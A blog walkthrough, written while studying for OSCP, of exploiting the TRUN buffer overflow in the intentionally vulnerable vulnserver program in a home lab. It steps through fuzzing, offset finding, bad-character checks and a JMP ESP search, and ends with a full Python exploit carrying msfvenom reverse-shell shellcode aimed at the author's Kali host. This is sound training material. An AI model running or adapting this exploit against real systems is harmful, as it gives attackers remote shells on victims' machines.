Exploiting Vulnserver Buffer Overflow Walkthrough

I just finished the buffer overflow section of studying for OSCP.  Let’s apply the methodology and techniques in the textbook to vulnserver, a service that is purposefully vulnerable.  It is only available on Windows machines.

What you will need if you are following along:

  • Windows machine
    • Immunity Debugger
    • vulnserver program
    • mona.py
  • Kali Linux machine
    • python (I use python3)
    • metasploit
      • for msf-pattern_create and msf-pattern_offset

Intro

This walkthrough assumes you already know the basics of x86 assembly, but I will explain along the way as well.

Our goal in a buffer overflow is to find an input to the program that has an unchecked buffer size, and overfill the buffer precisely such that our malicious code will be executed by the program itself. 

This means that we could potentially send one long string to a program and achieve remote shell!  Pretty powerful!

Registers

Relevant registers are EAX, ESP, EIP

Eax is the accumulator register.  In our case, the string we send to vulnserver will be moved from the stack to eax. 

Esp points to the top of the stack.

Eip holds the address in memory to be executed next.

 

If we can control eip, we can control execution flow.  We could change the value of eip to a location in memory that contains shellcode.  The shellcode will execute and connect to our Kali machine.

 

Vulnserver

Let’s download vulnserver on Windows and run it as administrator.  By default, it runs on port 9999. 

Also run Immunity Debugger as administrator and go to file > attach > vulnserver.  Upon attaching, the debugger will pause the program, so make sure to hit the play button and resume. 

Connecting to it on Kali with netcat allows us to see the possible commands:

Vulnserver consists of 12 commands that accept a value as a parameter. 

We can spike each command to see if it is susceptible to a buffer overflow!

Spiking

We will test each of the 12 commands for a buffer overflow.  This can be done with the ‘generic_send_tcp’ linux command and a spike script. 

Usage: generic_tcp_send host port spike_script SKIPVAR SKIPSTR

To save time, the TRUN command is susceptible to buffer overflow, and when we run the spiking script, vulnserver crashes. The spike_script is slightly different when testing each command, replacing “TRUN” with the command you are testing, like “LTER”. 

 

# trun.spk
s_readline();
s_string("TRUN ");
s_string_variable("0;) 

We can tell this succeeded because upon examining Immunity Debugger, we see that ’41’, the hex code for ASCII ‘A’ appears in registers EBP and EIP upon crashing:

So what has happened here?  The spiking script sent “TRUN /.:/” along with a bunch of ‘A’s to vulnserver.  Eventually, the input got large enough to crash vulnserver. 

The input got so large, that it ended up overwriting and occupying the locations on the stack reserved for referencing the current function’s stack frame as well as the instruction pointer.  Vulnserver crashed because there was no valid instruction located at the address pointed to by EIP. 
If there were valid instructions, it could potentially keep executing and not crash. 

Fuzzing

Now that we know TRUN command is susceptible to buffer overflow, we can fuzz the input by passing increasingly larger payloads to vulnserver until it crashes.  When it crashes, we can check the size of the last payload to estimate how big our buffer overflow exploit must be. 

This can be easily achieved by writing a Proof-of-Concept Python script and running it on our Kali machine:

#!/usr/bin/python3
    
import socket, sys
from time import sleep
    
buffer = b"A"*100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.198.139', 9999))
        s.send((b'TRUN /.:/' + buffer))
        sleep(1)

        buffer = buffer + b'A' * 100

    except:
        print(f"Fuzzing crashed at {str(len(buffer))} bytes.")
        sys.exit() 

Once we run this python script, we will check Immunity Debugger and wait until vulnserver crashes.  Once it does, we can go back into our Kali machine and exit the Python script.  Since the script keeps running and doesn’t error out when trying to connect to a crashed vulnserver, the accuracy of the Python script depends on how quickly we exit it after vulnserver crashes.  But we can just go ahead and estimate ~3000 bytes – for science. 

Finding the Offset

Now that we know a general size for the payload to send, we can start narrowing down how many exact bytes it will take to overwrite EIP with our custom code.

We estimated ~3000 bytes for the payload from the previous step, so let’s generate a 3000-byte long string with a non-repeating pattern.  Then send this string to vulnserver and when it crashes, we can examine in Immunity Debugger what part of the pattern is in EIP.  Using the value of the pattern in EIP, we can determine the offset that value appears in the pattern.  With the offset, we know how many bytes of ‘filler’ to preceed our payload. 

The pattern can be generated with the metasploit command: msf-pattern_create, specifying the length with -l 3000:

Send this right after the “TRUN” command:

Checking Immunity Debugger shows vulnserver crashed because of an access violation.  It tried to execute the instructions at the address in EIP, 0x386F4337. 

We can also note the generated pattern in EAX, and also in ESP. 

To figure out the offset of ‘386F4337’ in the pattern, we can use msf-pattern_offset, specifying the length with -l 3000, and the sub-pattern to match with -q 386F4337:

So, whatever bytes we put at offset +2003 in our payload, will be put into EIP, and vulnserver will try to execute the assembly code located at that address. 

Overwriting EIP

Lets test this out by replacing whatever is at +2003 bytes from the beginning of the payload and sending it to vulnserver:

Here, I add a ‘Z’ (ox5A) at offset +2002 to be able to view it in the debugger more easily.  The ‘Z’ should be at the end, so we know this is little-endian. 

The important part here is the 42424242 in EIP.  ’42’ is hex for ascii ‘B’.  We successfully overwrote EIP with whatever address we wanted!

Finding Bad Characters

Depending on the program, certain hex characters may be reserved for special commands and could crash or have unwanted effects on the program if executed.  An example is 0x00, the null byte.  When the program encounters this hex character, it will mark the end of a string or command.  This could make our shellcode useless if the program will only execute a part of it.

To figure out what hex characters we can’t use in the shellcode, we can just send a payload with all bytes from 0x01 – 0xFF and examine the program’s memory to look for anomalies. 

We can modify the PoC as follows:

#!/usr/bin/python3
    
import socket, sys
from time import sleep

badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


buffer = b"A"*2002
rand = b"Z"
eip = b"B"*4
esp = b"C"*10


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.198.139', 9999))
s.send((b'TRUN /.:/' + buffer + rand + eip + badchars)) #modified here
s.close() 

Notice we send badchars after EIP.  Whatever we include after EIP will be put on the stack, pointed to by ESP. 

Examining the memory dump in Immunity Debugger:

We can see our payload made it into memory without any hiccups.  If, for example, the program used byte 0x70 as an operand, then the 70 would show up different in memory.  But looks like vulnserver doesn’t have any bad characters (except for 0x00 that we omitted because null-byte).

Finding the Right Module

So far, we have been able to overwrite EIP and determine there are no bad characters.  Now all we have to do is create our shellcode and determine where to place it, and figure out how to execute it. 

A general approach is to place the shellcode into ESP, like where we put badchars in the previous step.  To execute, we can point EIP to an address in memory that contains the operation: JMP ESP. 

We need to find an address that contains the operation JMP ESP, but there are many protection mechanisms that will make predicting the addresses of certain modules or dynamic memory impossible such as ASLR, rebase, and more.  Use mona.py (just download from github and place into Immunity Debugger’s program file folder) to see if there are any modules (included libraries) that don’t have any protection mechanisms:

!mona modules

Looks like essfunc.dll has no protection mechanisms.  Let’s find all the occurrences  of ‘JMP ESP’.

!mona find -s "\xff\xe4" -m "essfunc.dll", where -s  is the byte string to search for, and -m  specifies the module to search in

We found 9 locations in memory (that won’t change addresses when we restart program) that hold the instruction ‘JMP ESP’. 

If we found any bad characters from the previous step, we could check the results for any bad characters.  For example, if we found out from previous step that 0x62 was a bad character, we would have to use a different module because all these results include ‘0x62’. But since we didn’t, we can use any of these results.  

Generating Shellcode

Again, keeping in mind bad characters, we need to generate shellcode that doesn’t include any bytes that are bad.  We don’t have to worry about it for vulnserver, but have to remember this in general.

Shellcode can be generated with msfvenom, specifying 0x00 as a bad character with shikata_ga_nai encoding:

osboxes@osboxes:~/Documents/buffer overflow$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.198.146 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xb8\xee\xea\x1b\x81\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x42\x12\x83\xea\xfc\x03\xac\xe4\xf9\x74\xcc\x11\x7f"
"\x76\x2c\xe2\xe0\xfe\xc9\xd3\x20\x64\x9a\x44\x91\xee\xce\x68"
"\x5a\xa2\xfa\xfb\x2e\x6b\x0d\x4b\x84\x4d\x20\x4c\xb5\xae\x23"
"\xce\xc4\xe2\x83\xef\x06\xf7\xc2\x28\x7a\xfa\x96\xe1\xf0\xa9"
"\x06\x85\x4d\x72\xad\xd5\x40\xf2\x52\xad\x63\xd3\xc5\xa5\x3d"
"\xf3\xe4\x6a\x36\xba\xfe\x6f\x73\x74\x75\x5b\x0f\x87\x5f\x95"
"\xf0\x24\x9e\x19\x03\x34\xe7\x9e\xfc\x43\x11\xdd\x81\x53\xe6"
"\x9f\x5d\xd1\xfc\x38\x15\x41\xd8\xb9\xfa\x14\xab\xb6\xb7\x53"
"\xf3\xda\x46\xb7\x88\xe7\xc3\x36\x5e\x6e\x97\x1c\x7a\x2a\x43"
"\x3c\xdb\x96\x22\x41\x3b\x79\x9a\xe7\x30\x94\xcf\x95\x1b\xf1"
"\x3c\x94\xa3\x01\x2b\xaf\xd0\x33\xf4\x1b\x7e\x78\x7d\x82\x79"
"\x7f\x54\x72\x15\x7e\x57\x83\x3c\x45\x03\xd3\x56\x6c\x2c\xb8"
"\xa6\x91\xf9\x6f\xf6\x3d\x52\xd0\xa6\xfd\x02\xb8\xac\xf1\x7d"
"\xd8\xcf\xdb\x15\x73\x2a\x8c\xd9\x2c\xf2\xde\xb2\x2e\xfa\xdf"
"\xf9\xa6\x1c\xb5\xed\xee\xb7\x22\x97\xaa\x43\xd2\x58\x61\x2e"
"\xd4\xd3\x86\xcf\x9b\x13\xe2\xc3\x4c\xd4\xb9\xb9\xdb\xeb\x17"
"\xd5\x80\x7e\xfc\x25\xce\x62\xab\x72\x87\x55\xa2\x16\x35\xcf"
"\x1c\x04\xc4\x89\x67\x8c\x13\x6a\x69\x0d\xd1\xd6\x4d\x1d\x2f"
"\xd6\xc9\x49\xff\x81\x87\x27\xb9\x7b\x66\x91\x13\xd7\x20\x75"
"\xe5\x1b\xf3\x03\xea\x71\x85\xeb\x5b\x2c\xd0\x14\x53\xb8\xd4"
"\x6d\x89\x58\x1a\xa4\x09\x68\x51\xe4\x38\xe1\x3c\x7d\x79\x6c"
"\xbf\xa8\xbe\x89\x3c\x58\x3f\x6e\x5c\x29\x3a\x2a\xda\xc2\x36"
"\x23\x8f\xe4\xe5\x44\x9a"; 

Let’s update our PoC with all the new info:

#!/usr/bin/python3
    
import socket, sys
from time import sleep


shellcode = (b"\xb8\xee\xea\x1b\x81\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
b"\x52\x31\x42\x12\x83\xea\xfc\x03\xac\xe4\xf9\x74\xcc\x11\x7f"
b"\x76\x2c\xe2\xe0\xfe\xc9\xd3\x20\x64\x9a\x44\x91\xee\xce\x68"
b"\x5a\xa2\xfa\xfb\x2e\x6b\x0d\x4b\x84\x4d\x20\x4c\xb5\xae\x23"
b"\xce\xc4\xe2\x83\xef\x06\xf7\xc2\x28\x7a\xfa\x96\xe1\xf0\xa9"
b"\x06\x85\x4d\x72\xad\xd5\x40\xf2\x52\xad\x63\xd3\xc5\xa5\x3d"
b"\xf3\xe4\x6a\x36\xba\xfe\x6f\x73\x74\x75\x5b\x0f\x87\x5f\x95"
b"\xf0\x24\x9e\x19\x03\x34\xe7\x9e\xfc\x43\x11\xdd\x81\x53\xe6"
b"\x9f\x5d\xd1\xfc\x38\x15\x41\xd8\xb9\xfa\x14\xab\xb6\xb7\x53"
b"\xf3\xda\x46\xb7\x88\xe7\xc3\x36\x5e\x6e\x97\x1c\x7a\x2a\x43"
b"\x3c\xdb\x96\x22\x41\x3b\x79\x9a\xe7\x30\x94\xcf\x95\x1b\xf1"
b"\x3c\x94\xa3\x01\x2b\xaf\xd0\x33\xf4\x1b\x7e\x78\x7d\x82\x79"
b"\x7f\x54\x72\x15\x7e\x57\x83\x3c\x45\x03\xd3\x56\x6c\x2c\xb8"
b"\xa6\x91\xf9\x6f\xf6\x3d\x52\xd0\xa6\xfd\x02\xb8\xac\xf1\x7d"
b"\xd8\xcf\xdb\x15\x73\x2a\x8c\xd9\x2c\xf2\xde\xb2\x2e\xfa\xdf"
b"\xf9\xa6\x1c\xb5\xed\xee\xb7\x22\x97\xaa\x43\xd2\x58\x61\x2e"
b"\xd4\xd3\x86\xcf\x9b\x13\xe2\xc3\x4c\xd4\xb9\xb9\xdb\xeb\x17"
b"\xd5\x80\x7e\xfc\x25\xce\x62\xab\x72\x87\x55\xa2\x16\x35\xcf"
b"\x1c\x04\xc4\x89\x67\x8c\x13\x6a\x69\x0d\xd1\xd6\x4d\x1d\x2f"
b"\xd6\xc9\x49\xff\x81\x87\x27\xb9\x7b\x66\x91\x13\xd7\x20\x75"
b"\xe5\x1b\xf3\x03\xea\x71\x85\xeb\x5b\x2c\xd0\x14\x53\xb8\xd4"
b"\x6d\x89\x58\x1a\xa4\x09\x68\x51\xe4\x38\xe1\x3c\x7d\x79\x6c"
b"\xbf\xa8\xbe\x89\x3c\x58\x3f\x6e\x5c\x29\x3a\x2a\xda\xc2\x36"
b"\x23\x8f\xe4\xe5\x44\x9a")

buffer = b"A"*2002
rand = b"Z"
epi = b"\xaf\x11\x50\x62"
#esp = b"C"*10
nops = b"\x90"*10

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.198.139', 9999))
s.send((b'TRUN /.:/' + buffer + rand + epi + nops + shellcode)) #modified
s.close() 

Here, I replace EIP with the little-endian byte-representation of the 0x625011af address, followed by a 10-byte NOP sled, and finally the shellcode.

Initially, I tried without the NOP sled, but due to the encoding of the shellcode, it mangles the first couple bytes in ESP when decoding and the exploit doesn’t work.  But if we include the NOP sled, the shellcode executes as normal (vulnserver just skips the NOPs) and the shellcode doesn’t get mangled.

Let’s start a netcat listener on the Kali machine and run the script!

After running the shellcode, we get a reverse shell!  Let’s check out Immunity Debugger to see what’s going on:I set a breakpoint on the 0x625011af address.  When execution jumps to ESP, that’s where we put our NOP sled and shellcode!

Leave a Reply